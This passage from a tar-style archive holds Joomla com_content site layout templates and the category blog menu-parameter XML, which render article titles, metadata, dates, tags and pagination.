                                    . '" itemprop="genre">' . $title . '</a>'; ?>
                                <?php echo Text::sprintf('COM_CONTENT_PARENT', $url); ?>
                            <?php else : ?>
                                <?php echo Text::sprintf('COM_CONTENT_PARENT', '<span itemprop="genre">' . $title . '</span>'); ?>
                            <?php endif; ?>
                        </div>
                    </dd>
                <?php endif; ?>
                <?php if ($params->get('show_category')) : ?>
                    <dd>
                        <div class="category-name">
                            <?php $title = $this->escape($item->category_title); ?>
                            <?php if ($params->get('link_category') && $item->catid) : ?>
                                <?php $url = '<a href="' . Route::_(
                                    RouteHelper::getCategoryRoute($item->catid, $item->category_language)
                                )
                                    . '" itemprop="genre">' . $title . '</a>'; ?>
                                <?php echo Text::sprintf('COM_CONTENT_CATEGORY', $url); ?>
                            <?php else : ?>
                                <?php echo Text::sprintf('COM_CONTENT_CATEGORY', '<span itemprop="genre">' . $title . '</span>'); ?>
                            <?php endif; ?>
                        </div>
                    </dd>
                <?php endif; ?>

                <?php if ($params->get('show_publish_date')) : ?>
                    <dd>
                        <div class="published">
                            <span class="icon-calendar-alt" aria-hidden="true"></span>
                            <time datetime="<?php echo HTMLHelper::_('date', $item->publish_up, 'c'); ?>" itemprop="datePublished">
                                <?php echo Text::sprintf('COM_CONTENT_PUBLISHED_DATE_ON', HTMLHelper::_('date', $item->publish_up, Text::_('DATE_FORMAT_LC3'))); ?>
                            </time>
                        </div>
                    </dd>
                <?php endif; ?>

                <?php if ($info == 0) : ?>
                    <?php if ($params->get('show_modify_date')) : ?>
                        <dd>
                            <div class="modified">
                                <span class="icon-calendar-alt" aria-hidden="true"></span>
                                <time datetime="<?php echo HTMLHelper::_('date', $item->modified, 'c'); ?>" itemprop="dateModified">
                                    <?php echo Text::sprintf('COM_CONTENT_LAST_UPDATED', HTMLHelper::_('date', $item->modified, Text::_('DATE_FORMAT_LC3'))); ?>
                                </time>
                            </div>
                        </dd>
                    <?php endif; ?>
                    <?php if ($params->get('show_create_date')) : ?>
                        <dd>
                            <div class="create">
                                <span class="icon-calendar-alt" aria-hidden="true"></span>
                                <time datetime="<?php echo HTMLHelper::_('date', $item->created, 'c'); ?>" itemprop="dateCreated">
                                    <?php echo Text::sprintf('COM_CONTENT_CREATED_DATE_ON', HTMLHelper::_('date', $item->created, Text::_('DATE_FORMAT_LC3'))); ?>
                                </time>
                            </div>
                        </dd>
                    <?php endif; ?>

                    <?php if ($params->get('show_hits')) : ?>
                        <dd>
                            <div class="hits">
                                <span class="icon-eye"></span>
                                <meta itemprop="interactionCount" content="UserPageVisits:<?php echo $item->hits; ?>">
                                <?php echo Text::sprintf('COM_CONTENT_ARTICLE_HITS', $item->hits); ?>
                            </div>
                        </dd>
                    <?php endif; ?>
                <?php endif; ?>
                </dl>
            </div>
        <?php endif; ?>

        <?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
        <?php echo $item->event->beforeDisplayContent; ?>
        <?php if ($params->get('show_intro')) : ?>
            <div class="intro" itemprop="articleBody"> <?php echo HTMLHelper::_('string.truncateComplex', $item->introtext, $params->get('introtext_limit')); ?> </div>
        <?php endif; ?>

        <?php if ($useDefList && ($info == 1 || $info == 2)) : ?>
            <div class="article-info text-muted">
                <dl class="article-info">
                <dt class="article-info-term"><?php echo Text::_('COM_CONTENT_ARTICLE_INFO'); ?></dt>

                <?php if ($info == 1) : ?>
                    <?php if ($params->get('show_parent_category') && !empty($item->parent_id)) : ?>
                        <dd>
                            <div class="parent-category-name">
                                <?php $title = $this->escape($item->parent_title); ?>
                                <?php if ($params->get('link_parent_category') && $item->parent_id) : ?>
                                    <?php $url = '<a href="' . Route::_(
                                        RouteHelper::getCategoryRoute($item->parent_id, $item->parent_language)
                                    )
                                        . '" itemprop="genre">' . $title . '</a>'; ?>
                                    <?php echo Text::sprintf('COM_CONTENT_PARENT', $url); ?>
                                <?php else : ?>
                                    <?php echo Text::sprintf('COM_CONTENT_PARENT', '<span itemprop="genre">' . $title . '</span>'); ?>
                                <?php endif; ?>
                            </div>
                        </dd>
                    <?php endif; ?>
                    <?php if ($params->get('show_category')) : ?>
                        <dd>
                            <div class="category-name">
                                <?php $title = $this->escape($item->category_title); ?>
                                <?php if ($params->get('link_category') && $item->catid) : ?>
                                    <?php $url = '<a href="' . Route::_(
                                        RouteHelper::getCategoryRoute($item->catid, $item->category_language)
                                    )
                                        . '" itemprop="genre">' . $title . '</a>'; ?>
                                    <?php echo Text::sprintf('COM_CONTENT_CATEGORY', $url); ?>
                                <?php else : ?>
                                    <?php echo Text::sprintf('COM_CONTENT_CATEGORY', '<span itemprop="genre">' . $title . '</span>'); ?>
                                <?php endif; ?>
                            </div>
                        </dd>
                    <?php endif; ?>
                    <?php if ($params->get('show_publish_date')) : ?>
                        <dd>
                            <div class="published">
                                <span class="icon-calendar-alt" aria-hidden="true"></span>
                                <time datetime="<?php echo HTMLHelper::_('date', $item->publish_up, 'c'); ?>" itemprop="datePublished">
                                    <?php echo Text::sprintf('COM_CONTENT_PUBLISHED_DATE_ON', HTMLHelper::_('date', $item->publish_up, Text::_('DATE_FORMAT_LC3'))); ?>
                                </time>
                            </div>
                        </dd>
                    <?php endif; ?>
                <?php endif; ?>

                <?php if ($params->get('show_create_date')) : ?>
                    <dd>
                        <div class="create">
                            <span class="icon-calendar-alt" aria-hidden="true"></span>
                            <time datetime="<?php echo HTMLHelper::_('date', $item->created, 'c'); ?>" itemprop="dateCreated">
                                <?php echo Text::sprintf('COM_CONTENT_CREATED_DATE_ON', HTMLHelper::_('date', $item->modified, Text::_('DATE_FORMAT_LC3'))); ?>
                            </time>
                        </div>
                    </dd>
                <?php endif; ?>
                <?php if ($params->get('show_modify_date')) : ?>
                    <dd>
                        <div class="modified">
                            <span class="icon-calendar-alt" aria-hidden="true"></span>
                            <time datetime="<?php echo HTMLHelper::_('date', $item->modified, 'c'); ?>" itemprop="dateModified">
                                <?php echo Text::sprintf('COM_CONTENT_LAST_UPDATED', HTMLHelper::_('date', $item->modified, Text::_('DATE_FORMAT_LC3'))); ?>
                            </time>
                        </div>
                    </dd>
                <?php endif; ?>
                <?php if ($params->get('show_hits')) : ?>
                    <dd>
                        <div class="hits">
                            <span class="icon-eye"></span>
                            <meta content="UserPageVisits:<?php echo $item->hits; ?>" itemprop="interactionCount">
                            <?php echo Text::sprintf('COM_CONTENT_ARTICLE_HITS', $item->hits); ?>
                        </div>
                    </dd>
                <?php endif; ?>
            </dl>
        </div>
        <?php endif; ?>
        <?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
        <?php echo $item->event->afterDisplayContent; ?>
    </div>
    <?php endforeach; ?>
</div>
<div class="com-content-archive__navigation w-100">
    <?php if ($this->params->def('show_pagination_results', 1)) : ?>
        <p class="com-content-archive__counter counter float-end pt-3 pe-2">
            <?php echo $this->pagination->getPagesCounter(); ?>
        </p>
    <?php endif; ?>
    <div class="com-content-archive__pagination">
        <?php echo $this->pagination->getPagesLinks(); ?>
    </div>
</div>
featured/default_item.php000064400000012334151730072210011517 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\RouteHelper;

// Create a shortcut for params.
$params  = &$this->item->params;
$canEdit = $this->item->params->get('access-edit');
$info    = $this->item->params->get('info_block_position', 0);

// Check if associations are implemented. If they are, define the parameter.
$assocParam = (Associations::isEnabled() && $params->get('show_associations'));

$currentDate       = Factory::getDate()->format('Y-m-d H:i:s');
$isExpired         = !is_null($this->item->publish_down) && $this->item->publish_down < $currentDate;
$isNotPublishedYet = $this->item->publish_up > $currentDate;
$isUnpublished     = $this->item->state == ContentComponent::CONDITION_UNPUBLISHED || $isNotPublishedYet || $isExpired;
?>

<?php echo LayoutHelper::render('joomla.content.intro_image', $this->item); ?>

<div class="item-content">
    <?php if ($isUnpublished) : ?>
        <div class="system-unpublished">
    <?php endif; ?>

    <?php if ($params->get('show_title')) : ?>
        <h2 class="item-title" itemprop="headline">
        <?php if ($params->get('link_titles') && $params->get('access-view')) : ?>
            <a href="<?php echo Route::_(RouteHelper::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language)); ?>" itemprop="url">
                <?php echo $this->escape($this->item->title); ?>
            </a>
        <?php else : ?>
            <?php echo $this->escape($this->item->title); ?>
        <?php endif; ?>
        </h2>
    <?php endif; ?>

    <?php if ($this->item->state == ContentComponent::CONDITION_UNPUBLISHED) : ?>
        <span class="badge bg-warning text-light"><?php echo Text::_('JUNPUBLISHED'); ?></span>
    <?php endif; ?>
    <?php if ($isNotPublishedYet) : ?>
        <span class="badge bg-warning text-light"><?php echo Text::_('JNOTPUBLISHEDYET'); ?></span>
    <?php endif; ?>
    <?php if ($isExpired) : ?>
        <span class="badge bg-warning text-light"><?php echo Text::_('JEXPIRED'); ?></span>
    <?php endif; ?>

    <?php if ($canEdit) : ?>
        <?php echo LayoutHelper::render('joomla.content.icons', ['params' => $params, 'item' => $this->item]); ?>
    <?php endif; ?>

    <?php // Content is generated by content plugin event "onContentAfterTitle" ?>
    <?php echo $this->item->event->afterDisplayTitle; ?>

    <?php // @todo Not that elegant would be nice to group the params ?>
    <?php $useDefList = ($params->get('show_modify_date') || $params->get('show_publish_date') || $params->get('show_create_date')
        || $params->get('show_hits') || $params->get('show_category') || $params->get('show_parent_category') || $params->get('show_author') || $assocParam); ?>

    <?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
        <?php echo LayoutHelper::render('joomla.content.info_block', ['item' => $this->item, 'params' => $params, 'position' => 'above']); ?>
    <?php endif; ?>
    <?php if ($info == 0 && $params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
        <?php echo LayoutHelper::render('joomla.content.tags', $this->item->tags->itemTags); ?>
    <?php endif; ?>

    <?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
    <?php echo $this->item->event->beforeDisplayContent; ?>

    <?php echo $this->item->introtext; ?>

    <?php if ($info == 1 || $info == 2) : ?>
        <?php if ($useDefList) : ?>
            <?php echo LayoutHelper::render('joomla.content.info_block', ['item' => $this->item, 'params' => $params, 'position' => 'below']); ?>
        <?php endif; ?>
        <?php if ($params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
            <?php echo LayoutHelper::render('joomla.content.tags', $this->item->tags->itemTags); ?>
        <?php endif; ?>
    <?php endif; ?>

    <?php if ($params->get('show_readmore') && $this->item->readmore) :
        if ($params->get('access-view')) :
            $link = Route::_(RouteHelper::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language));
        else :
            $menu = Factory::getApplication()->getMenu();
            $active = $menu->getActive();
            $itemId = $active->id;
            $link = new Uri(Route::_('index.php?option=com_users&view=login&Itemid=' . $itemId, false));
            $link->setVar('return', base64_encode(RouteHelper::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language)));
        endif; ?>

        <?php echo LayoutHelper::render('joomla.content.readmore', ['item' => $this->item, 'params' => $params, 'link' => $link]); ?>

    <?php endif; ?>

    <?php if ($isUnpublished) : ?>
        </div>
    <?php endif; ?>

</div>

<?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
<?php echo $this->item->event->afterDisplayContent; ?>
featured/default_links.php000064400000001263151730072210011700 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;

?>
<ol class="com-content-blog__links">
    <?php foreach ($this->link_items as $item) : ?>
        <li class="com-content-blog__link">
            <a href="<?php echo Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language)); ?>">
                <?php echo $item->title; ?></a>
        </li>
    <?php endforeach; ?>
</ol>
category/blog.xml000064400000044051151730072210010030 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTENT_CATEGORY_VIEW_BLOG_TITLE" option="COM_CONTENT_CATEGORY_VIEW_BLOG_OPTION">
		<help key = "Menu_Item:_Category_Blog" />
		<message>
			<![CDATA[COM_CONTENT_CATEGORY_VIEW_BLOG_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
			addfieldprefix="Joomla\Component\Categories\Administrator\Field"
		>
			<field
				name="id"
				type="modal_category"
				label="JGLOBAL_CHOOSE_CATEGORY_LABEL"
				extension="com_content"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>

			<field
				name="filter_tag"
				type="tag"
				label="JTAG"
				multiple="true"
				mode="nested"
				custom="deny"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="JGLOBAL_CATEGORY_OPTIONS">
				<field
					name="layout_type"
					type="hidden"
					default="blog"
				/>

				<field
					name="show_category_title"
					type="list"
					label="JGLOBAL_SHOW_CATEGORY_TITLE"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_description"
					type="list"
					label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_description_image"
					type="list"
					label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="maxLevel"
					type="list"
					label="JGLOBAL_MAXLEVEL_LABEL"
					description="JGLOBAL_MAXLEVEL_DESC"
					useglobal="true"
					validate="options"
					>
					<option value="-1">JALL</option>
					<option value="0">JNONE</option>
					<option value="1">J1</option>
					<option value="2">J2</option>
					<option value="3">J3</option>
					<option value="4">J4</option>
					<option value="5">J5</option>
				</field>

				<field
					name="show_empty_categories"
					type="list"
					label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_no_articles"
					type="list"
					label="COM_CONTENT_NO_ARTICLES_LABEL"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_category_heading_title_text"
					type="list"
					label="JGLOBAL_SHOW_SUBCATEGORY_HEADING"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_subcat_desc"
					type="list"
					label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_cat_num_articles"
					type="list"
					label="COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_cat_tags"
					type="list"
					label="COM_CONTENT_FIELD_SHOW_CAT_TAGS_LABEL"
					useglobal="true"
					class="form-select-color-state"
					validate="options"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

		</fieldset>

		<fieldset name="advanced" label="JGLOBAL_BLOG_LAYOUT_OPTIONS" description="JGLOBAL_SUBSLIDER_BLOG_LAYOUT_LABEL">

			<field
				name="num_leading_articles"
				type="number"
				label="JGLOBAL_NUM_LEADING_ARTICLES_LABEL"
				filter="integer"
				validate="number"
				min="0"
				useglobal="true"
				parentclass="stack span-1"
			/>

			<field
				name="blog_class_leading"
				type="text"
				label="JGLOBAL_BLOG_CLASS_LEADING"
				parentclass="stack span-2-inline"
				useglobal="true"
				validate="CssIdentifier"
			/>

			<field
				name="num_intro_articles"
				type="number"
				label="JGLOBAL_NUM_INTRO_ARTICLES_LABEL"
				filter="integer"
				validate="number"
				min="0"
				useglobal="true"
				parentclass="stack span-1"
			/>

			<field
				name="blog_class"
				type="text"
				label="JGLOBAL_BLOG_CLASS"
				description="JGLOBAL_BLOG_CLASS_NOTE_DESC"
				parentclass="stack span-2-inline"
				useglobal="true"
				validate="CssIdentifier"
			/>

			<field
				name="num_columns"
				type="number"
				label="JGLOBAL_NUM_COLUMNS_LABEL"
				filter="integer"
				validate="number"
				min="0"
				parentclass="stack span-1-inline"
				useglobal="true"
			/>

			<field
				name="multi_column_order"
				type="list"
				label="JGLOBAL_MULTI_COLUMN_ORDER_LABEL"
				parentclass="stack span-2-inline"
				useglobal="true"
				validate="options"
				>
				<option value="0">JGLOBAL_BLOG_DOWN_OPTION</option>
				<option value="1">JGLOBAL_BLOG_ACROSS_OPTION</option>
			</field>

			<field
				name="num_links"
				type="number"
				label="JGLOBAL_NUM_LINKS_LABEL"
				filter="integer"
				validate="number"
				min="0"
				parentclass="stack span-1"
				useglobal="true"
			/>

			<field
				name="show_featured"
				type="list"
				label="JGLOBAL_SHOW_FEATURED_ARTICLES_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				parentclass="stack span-1"
				>
				<option value="show">JSHOW</option>
				<option value="hide">JHIDE</option>
				<option value="only">JONLY</option>
			</field>

			<field
				name="link_intro_image"
				type="list"
				label="JGLOBAL_LINKED_INTRO_IMAGE_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-1-inline"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_subcategory_content"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORY_CONTENT_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-1-inline"
				>
				<option value="0">JNONE</option>
				<option value="-1">JALL</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>
			</field>
			<field
				name="orderby_pri"
				type="list"
				label="JGLOBAL_CATEGORY_ORDER_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-2"
				>
				<option value="none">JGLOBAL_NO_ORDER</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="order">JGLOBAL_CATEGORY_MANAGER_ORDER</option>
			</field>

			<field
				name="orderby_sec"
				type="list"
				label="JGLOBAL_ARTICLE_ORDER_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-2-inline"
				>
				<option value="front">COM_CONTENT_FEATURED_ORDER</option>
				<option value="rdate">JGLOBAL_MOST_RECENT_FIRST</option>
				<option value="date">JGLOBAL_OLDEST_FIRST</option>
				<option value="alpha">JGLOBAL_TITLE_ALPHABETICAL</option>
				<option value="ralpha">JGLOBAL_TITLE_REVERSE_ALPHABETICAL</option>
				<option value="author">JGLOBAL_AUTHOR_ALPHABETICAL</option>
				<option value="rauthor">JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL</option>
				<option value="hits" requires="hits">JGLOBAL_MOST_HITS</option>
				<option value="rhits" requires="hits">JGLOBAL_LEAST_HITS</option>
				<option value="random">JGLOBAL_RANDOM_ORDER</option>
				<option value="order">JGLOBAL_ORDERING</option>
				<option	value="rorder">JGLOBAL_REVERSE_ORDERING</option>
				<option value="vote" requires="vote">JGLOBAL_VOTES_DESC</option>
				<option value="rvote" requires="vote">JGLOBAL_VOTES_ASC</option>
				<option value="rank" requires="vote">JGLOBAL_RATINGS_DESC</option>
				<option value="rrank" requires="vote">JGLOBAL_RATINGS_ASC</option>
			</field>

			<field
				name="order_date"
				type="list"
				label="JGLOBAL_ORDERING_DATE_LABEL"
				useglobal="true"
				validate="options"
				parentclass="stack span-2-inline"
				>
				<option value="created">JGLOBAL_CREATED</option>
				<option value="modified">JGLOBAL_MODIFIED</option>
				<option value="published">JPUBLISHED</option>
				<option value="unpublished">JUNPUBLISHED</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				parentclass="stack span-1"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				parentclass="stack span-1-inline"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>

		<fieldset name="article"
			label="COM_CONTENT_ATTRIBS_FIELDSET_LABEL"
			addfieldprefix="Joomla\Component\Content\Administrator\Field"
		>

			<field
				name="article_layout"
				type="componentlayout"
				label="JGLOBAL_FIELD_LAYOUT_LABEL"
				description="JGLOBAL_FIELD_LAYOUT_DESC"
				class="form-select"
				menuitems="true"
				extension="com_content"
				view="article"
			/>

			<field
				name="show_title"
				type="list"
				label="JGLOBAL_SHOW_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_titles"
				type="list"
				label="JGLOBAL_LINKED_TITLES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_intro"
				type="list"
				label="JGLOBAL_SHOW_INTRO_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="info_block_position"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_POSITION_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
				<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
				<option value="2">COM_CONTENT_FIELD_OPTION_SPLIT</option>
			</field>

			<field
				name="info_block_show_title"
				type="list"
				label="COM_CONTENT_FIELD_INFOBLOCK_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_category"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_category"
				type="list"
				label="JGLOBAL_LINK_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_parent_category"
				type="list"
				label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_parent_category"
				type="list"
				label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_associations"
				type="assoc"
				label="JGLOBAL_SHOW_ASSOCIATIONS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_author"
				type="list"
				label="JGLOBAL_SHOW_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_author"
				type="list"
				label="JGLOBAL_LINK_AUTHOR_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_create_date"
				type="list"
				label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_modify_date"
				type="list"
				label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_publish_date"
				type="list"
				label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_item_navigation"
				type="list"
				label="JGLOBAL_SHOW_NAVIGATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_vote"
				type="votelist"
				label="JGLOBAL_SHOW_VOTE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore"
				type="list"
				label="JGLOBAL_SHOW_READMORE_LABEL"
				description="JGLOBAL_SHOW_READMORE_DESC"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_readmore_title"
				type="list"
				label="JGLOBAL_SHOW_READMORE_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_hits"
				type="list"
				label="JGLOBAL_SHOW_HITS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_tags"
				type="list"
				label="COM_CONTENT_FIELD_SHOW_TAGS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_noauth"
				type="list"
				label="JGLOBAL_SHOW_UNAUTH_LINKS_LABEL"
				description="JGLOBAL_SHOW_UNAUTH_LINKS_DESC"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="use_article">COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS</option>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>
		</fieldset>

		<fieldset name="integration" label="COM_MENUS_INTEGRATION_FIELDSET_LABEL">
			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="feed_summary"
				type="list"
				label="JGLOBAL_FEED_SUMMARY_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="0">JGLOBAL_INTRO_TEXT</option>
				<option value="1">JGLOBAL_FULL_TEXT</option>
			</field>
		</fieldset>
	</fields>
</metadata>
category/blog.php000064400000015070151730072210010016 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

